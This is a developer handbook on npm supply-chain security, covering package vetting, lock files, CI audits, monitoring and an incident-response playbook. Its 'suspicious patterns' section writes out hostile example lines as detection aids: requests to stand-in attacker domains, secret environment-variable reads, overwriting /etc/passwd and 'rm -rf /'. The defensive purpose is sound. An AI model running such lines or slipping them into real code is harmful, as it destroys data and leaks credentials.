An Open Source Security Handbook for JavaScript Developers
- Understanding Supply Chain Attacks
- Pre-Installation Security Audit
- Secure Package Management
- Monitoring and Detection
- Incident Response
- Security Tools and Automation
- Best Practices Checklist
- Emergency Response Playbook
Supply chain attacks target the software distribution process by compromising trusted packages that developers integrate into their applications. In the npm ecosystem, these attacks typically involve:
- Package Hijacking: Taking over legitimate package names
- Typosquatting: Creating packages with similar names to popular libraries
- Dependency Confusion: Exploiting internal package naming conflicts
- Maintainer Account Compromise: Gaining access to legitimate maintainer accounts
- Malicious Updates: Injecting malicious code into existing trusted packages
Common Indicators:
- Packages with minimal download counts but sophisticated functionality
- Recently published packages claiming to be "faster alternatives"
- Packages with suspicious permission requests
- Dependencies that seem unrelated to the package's stated purpose
Before installing any package, follow this systematic approach:
# Check package information
npm info <package-name>
# View package contents without installing
npm pack <package-name> --dry-run
# Check for known vulnerabilities
npm audit
Check These Metrics:
- Weekly Downloads: Be cautious of packages with <1000 weekly downloads
- Maintenance Status: Last updated within 6 months
- GitHub Repository: Active repository with recent commits
- Issue Response Time: How quickly maintainers respond to issues
- Community Engagement: Number of contributors and their activity
Red Flags:
- Obfuscated or minified code in source files
- Unusual network requests or file system operations
- Binary files without clear purpose
- Dependencies that seem unrelated to functionality
- Lack of comprehensive documentation
// Look for suspicious patterns:
// 1. Network requests to unknown domains
fetch('http://suspicious-domain.com/collect')
require('http').get('http://malicious-site.com')
// 2. File system operations
require('fs').writeFileSync('/etc/passwd', data)
require('child_process').exec('rm -rf /')
// 3. Environment variable access
process.env.AWS_SECRET_KEY
process.env.DATABASE_PASSWORD
// 4. Dynamic code execution
eval(someVariable)
Function(dynamicCode)()
require('vm').runInThisContext(code)
// 5. Encoded or obfuscated strings
atob('c29tZXRoaW5nIHN1c3BpY2lvdXM=')
Buffer.from(encodedData, 'base64')
# Install security analysis tools
npm install -g @socketdev/cli
npm install -g audit-ci
npm install -g better-npm-audit
# Run comprehensive security scan
socket npm audit <package-name>
audit-ci --moderate
better-npm-audit
Always use lock files:
# Generate lock file
npm install --package-lock-only
# Verify integrity
npm ci --audit
# Check for lock file drift
npm ls --depth=0
Lock File Best Practices:
- Commit
package-lock.json
to version control - Use
npm ci
in production environments - Regularly update and review lock file changes
- Use
--package-lock-only
for dependency updates
{
"dependencies": {
// Pin exact versions for critical dependencies
"express": "4.18.2",
// Use caret for minor updates only
"lodash": "^4.17.21",
// Avoid wildcards entirely
"some-package": "*" // ❌ Never do this
}
}
# Configure private registry
npm config set registry https://your-private-registry.com
npm config set @yourscope:registry https://your-private-registry.com
# Use .npmrc for project-specific configuration
echo "registry=https://your-private-registry.com" > .npmrc
echo "@yourscope:registry=https://your-private-registry.com" >> .npmrc
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
reviewers:
- "security-team"
assignees:
- "lead-developer"
# .github/workflows/security.yml
name: Security Audit
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
node-version: '18'
- run: npm ci
- run: npm audit --audit-level=moderate
- run: npx audit-ci --moderate
// Monitor for suspicious behavior
process.on('warning', (warning) => {
if (warning.name === 'DeprecationWarning') {
console.warn('Deprecated API usage detected:', warning.message);
}
});
// Monitor network requests (for Node.js applications)
const originalRequest = require('http').request;
require('http').request = function(...args) {
console.log('HTTP request to:', args[0]?.hostname || args[0]);
return originalRequest.apply(this, args);
};
# Generate checksums for critical files
find node_modules -name "*.js" -exec sha256sum {} \; > checksums.txt
# Verify integrity
sha256sum -c checksums.txt
If you detect a compromised package:
-
Isolate immediately
# Stop all affected services sudo systemctl stop your-service # Disconnect from networks if necessary sudo ufw deny out
-
Document the incident
- Screenshot package information
- Save malicious code samples
- Record timeline of events
- List affected systems
-
Assess impact
- Check logs for data exfiltration
- Verify system integrity
- Scan for lateral movement
- Review user account activity
# 1. Remove compromised packages
npm uninstall <compromised-package>
# 2. Clear npm cache
npm cache clean --force
# 3. Reinstall from known good sources
npm install <package-name>@<known-good-version>
# 4. Verify integrity
npm audit
npm ls --depth=0
Internal Communications:
- Immediate notification to security team
- Update to development team leads
- Executive summary for management
- Post-incident review scheduling
External Communications:
- Report to npm security team
- Notify affected customers
- Coordinate with security researchers
- Public disclosure if appropriate
# Install security toolkit
npm install -g @socketdev/cli
npm install -g audit-ci
npm install -g better-npm-audit
npm install -g retire
npm install -g nsp
# Run comprehensive security check
socket npm audit
audit-ci --moderate
retire --js
// security-check.js
const { execSync } = require('child_process');
const fs = require('fs');
function runSecurityAudit() {
try {
// Run npm audit
const auditResult = execSync('npm audit --json', { encoding: 'utf8' });
const audit = JSON.parse(auditResult);
// Check for high/critical vulnerabilities
if (audit.metadata.vulnerabilities.high > 0 ||
audit.metadata.vulnerabilities.critical > 0) {
console.error('❌ Critical vulnerabilities found!');
process.exit(1);
}
// Check package integrity
const packageLock = JSON.parse(fs.readFileSync('package-lock.json'));
console.log(`✅ Checked ${Object.keys(packageLock.dependencies).length} dependencies`);
} catch (error) {
console.error('Security check failed:', error.message);
process.exit(1);
}
}
runSecurityAudit();
# Install husky for git hooks
npm install --save-dev husky
# Setup pre-commit hook
npx husky install
npx husky add .husky/pre-commit "npm run security-check"
- Research package reputation and maintainer history
- Check weekly download count (>1000 recommended)
- Verify official documentation and GitHub repository
- Review recent issues and maintainer responses
- Scan for typosquatting attempts
- Check package size (unusually large packages are suspicious)
- Use exact version pinning for critical dependencies
- Install from official npm registry
- Use
npm ci
in production environments - Commit lock files to version control
- Run security audit after installation
- Enable Dependabot or similar automated updates
- Set up GitHub security advisories
- Implement CI/CD security checks
- Regular dependency audits (weekly minimum)
- Monitor for security advisories
- Establish security review process for new dependencies
- Create incident response playbook
- Train team on security awareness
- Implement least privilege access
- Regular security training updates
- Stop all affected services
- Disconnect from external networks
- Preserve system state for forensics
- Notify security team
-
Identify compromised packages
npm ls --depth=0 | grep <suspicious-package>
-
Check system integrity
# Look for unexpected files find /tmp -name "*.js" -newer package.json # Check process list ps aux | grep node # Review network connections netstat -tulpn
-
Analyze logs
# Check npm install logs tail -f ~/.npm/_logs/*debug.log # System logs journalctl -u your-service --since "1 hour ago"
- Remove compromised packages
- Update firewall rules
- Rotate credentials
- Patch vulnerabilities
- Rebuild from clean sources
- Verify system integrity
- Gradual service restoration
- Enhanced monitoring
- Document lessons learned
- Update security procedures
- Share findings with community
- Implement additional safeguards
This guide is open source and community-driven. To contribute:
- Fork the repository
- Create a feature branch
- Submit a pull request with your improvements
Areas for contribution:
- Additional security tools and integrations
- Real-world attack case studies
- Platform-specific guidance (Docker, Kubernetes, etc.)
- Automated scanning scripts
- Translation to other languages
- Socket.dev - Real-time package analysis
- Snyk - Comprehensive vulnerability scanning
- OWASP Dependency Check
This guide is released under the MIT License. Feel free to distribute, modify, and use in your projects.
Last updated: September 2025 Version: 1.0
Remember: Security is not a destination, it's a journey. Stay vigilant, stay updated, and help protect the entire JavaScript ecosystem.